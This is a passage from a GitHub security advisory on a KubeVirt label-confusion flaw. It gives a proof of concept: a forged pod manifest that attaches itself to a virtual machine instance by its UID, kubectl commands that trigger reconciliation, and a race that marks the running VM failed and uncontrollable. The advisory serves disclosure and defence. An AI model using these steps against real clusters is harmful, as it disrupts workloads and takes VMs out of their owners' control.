Advisory

GHSA-9m94-w2vq-hcf9

Details, part 2 of 3. The advisory

Details

# Inspect the `virt-launcher` pod associated with the VMI and the --uid CLI argument with which it was launched
operator@minikube:~$ kubectl get pods virt-launcher-launcher-label-confusion-bdkwj -o jsonpath='{.spec.containers[0]}' | jq .
{
  "command": [
    "/usr/bin/virt-launcher-monitor",
    ...
    "--uid",
    "18afb8bf-70c4-498b-aece-35804c9a0d11", 
    "--namespace",
    "default",
    ...

Consider the following attacker-controlled pod which is associated to the VMI using the UID defined in the kubevirt.io/created-by label:

apiVersion: v1
kind: Pod
metadata:
  name: fake-launcher
  labels:
    kubevirt.io: intruder # this is the label used by the virt-controller to identify pods associated with KubeVirt components
    kubevirt.io/created-by: 18afb8bf-70c4-498b-aece-35804c9a0d11 # this is the UID of the launcher-label-confusion VMI which is going to be taken into account if there is no ownerReference. This is the case for regular pods
    kubevirt.io/domain: migration
spec:
  restartPolicy: Never
  containers:
    - name: alpine
      image: alpine
      command: [ "sleep", "3600" ]
operator@minikube:~$ kubectl apply -f fake-launcher.yaml
# Get the UID of the `fake-launcher` pod
operator@minikube:~$ kubectl get pod fake-launcher -o jsonpath='{.metadata.uid}'
39479b87-3119-43b5-92d4-d461b68cfb13

To effectively attach the fake pod to the VMI, the attacker should wait for a state update to trigger the reconciliation loop:

# Trigger the VMI reconciliation loop
operator@minikube:~$ kubectl patch vmi launcher-label-confusion -p '{"metadata":{"annotations":{"trigger-annotation":"quarkslab"}}}' --type=merge
virtualmachineinstance.kubevirt.io/launcher-label-confusion patched
# Confirm that fake-launcher pod has been associated with the VMI
operator@minikube:~$ kubectl get vmi launcher-label-confusion -o jsonpath='{.status.activePods}'
{"39479b87-3119-43b5-92d4-d461b68cfb13":"minikube", # `fake-launcher` pod's UID
"674bc0b1-e3c7-4c05-b300-9e5744a5f2c8":"minikube"} # original `virt-launcher` pod UID

To illustrate the impact of this vulnerability, a race condition will be triggered in the sync function of the VMI controller:

// pkg/virt-controller/watch/vmi.go

func (c *Controller) sync(vmi *virtv1.VirtualMachineInstance, pod *k8sv1.Pod, dataVolumes []*cdiv1.DataVolume) (common.SyncError, *k8sv1.Pod) {
  //...
  if !isTempPod(pod) && controller.IsPodReady(pod) {

		// mark the pod with annotation to be evicted by this controller
		newAnnotations := map[string]string{descheduler.EvictOnlyAnnotation: ""}
		maps.Copy(newAnnotations, c.netAnnotationsGenerator.GenerateFromActivePod(vmi, pod))
    // here a new updated pod is returned
		patchedPod, err := c.syncPodAnnotations(pod, newAnnotations)
		if err != nil {
			return common.NewSyncError(err, controller.FailedPodPatchReason), pod
		}
		pod = patchedPod
    // ...

func (c *Controller) syncPodAnnotations(pod *k8sv1.Pod, newAnnotations map[string]string) (*k8sv1.Pod, error) {
	patchSet := patch.New()
	for key, newValue := range newAnnotations {
		if podAnnotationValue, keyExist := pod.Annotations[key]; !keyExist || podAnnotationValue != newValue {
			patchSet.AddOption(
				patch.WithAdd(fmt.Sprintf("/metadata/annotations/%s", patch.EscapeJSONPointer(key)), newValue),
			)
		}
	}
	if patchSet.IsEmpty() {
		return pod, nil
	}
	
	patchBytes, err := patchSet.GeneratePayload()
	// ...
	patchedPod, err := c.clientset.CoreV1().Pods(pod.Namespace).Patch(context.Background(), pod.Name, types.JSONPatchType, patchBytes, v1.PatchOptions{})
  // ...
	return patchedPod, nil
}

The above code adds additional annotations to the virt-launcher pod related to node eviction. This happens via an API call to Kubernetes which upon success returns a new updated pod object. This object replaces the current one in the execution flow.
There is a tiny window where an attacker could trigger a race condition which will mark the VMI as failed:

// pkg/virt-controller/watch/vmi.go

func isTempPod(pod *k8sv1.Pod) bool {
  // EphemeralProvisioningObject string = "kubevirt.io/ephemeral-provisioning"
	_, ok := pod.Annotations[virtv1.EphemeralProvisioningObject]
	return ok
}
// pkg/virt-controller/watch/vmi.go

func (c *Controller) updateStatus(vmi *virtv1.VirtualMachineInstance, pod *k8sv1.Pod, dataVolumes []*cdiv1.DataVolume, syncErr common.SyncError) error {
  // ...
  vmiPodExists := controller.PodExists(pod) && !isTempPod(pod)
	tempPodExists := controller.PodExists(pod) && isTempPod(pod)

  //...
  case vmi.IsRunning():
		if !vmiPodExists {
      // MK: this will toggle the VMI phase to Failed
			vmiCopy.Status.Phase = virtv1.Failed
			break
		}
    //...

  vmiChanged := !equality.Semantic.DeepEqual(vmi.Status, vmiCopy.Status) || !equality.Semantic.DeepEqual(vmi.Finalizers, vmiCopy.Finalizers) || !equality.Semantic.DeepEqual(vmi.Annotations, vmiCopy.Annotations) || !equality.Semantic.DeepEqual(vmi.Labels, vmiCopy.Labels)
	if vmiChanged {
    // MK: this will detect that the phase of the VMI has changed and updated the resource
		key := controller.VirtualMachineInstanceKey(vmi)
		c.vmiExpectations.SetExpectations(key, 1, 0)
		_, err := c.clientset.VirtualMachineInstance(vmi.Namespace).Update(context.Background(), vmiCopy, v1.UpdateOptions{})
		if err != nil {
			c.vmiExpectations.LowerExpectations(key, 1, 0)
			return err
		}
	}

To trigger it, the attacker should update the fake-launcher pod's annotations before the check vmiPodExists := controller.PodExists(pod) && !isTempPod(pod) in sync, and between the check if !isTempPod(pod) && controller.IsPodReady(pod) in sync but before the patch API call in syncPodAnnotations as follows:

annotations:
    kubevirt.io/ephemeral-provisioning: "true"

The above annotation will mark the attacker pod as ephemeral (i.e., used to provision the VMI) and will fail the VMI as the latter is already running (provisioning happens before the VMI starts running).

The update should also happen during the reconciliation loop when the fake-launcher pod is initially going to be associated with the VMI and its labels, related to eviction, updated.

Upon successful exploitation the VMI is marked as failed and could not be controlled via the Kubernetes API. However, the QEMU process is still running and the VMI is still present in the cluster:

operator@minikube:~$ kubectl get vmi
NAME                       AGE    PHASE    IP            NODENAME   READY
launcher-label-confusion   128m   Failed   10.244.0.10   minikube   False
# The VMI is not reachable anymore 
operator@minikube:~$ virtctl console launcher-label-confusion
Operation cannot be fulfilled on virtualmachineinstance.kubevirt.io "launcher-label-confusion": VMI is in failed status

# The two pods are still associated with the VMI

operator@minikube:~$ kubectl get vmi launcher-label-confusion -o jsonpath='{.status.activePods}' 
{"674bc0b1-e3c7-4c05-b300-9e5744a5f2c8":"minikube","ca31c8de-4d14-4e47-b942-75be20fb9d96":"minikube"}

Sources & licences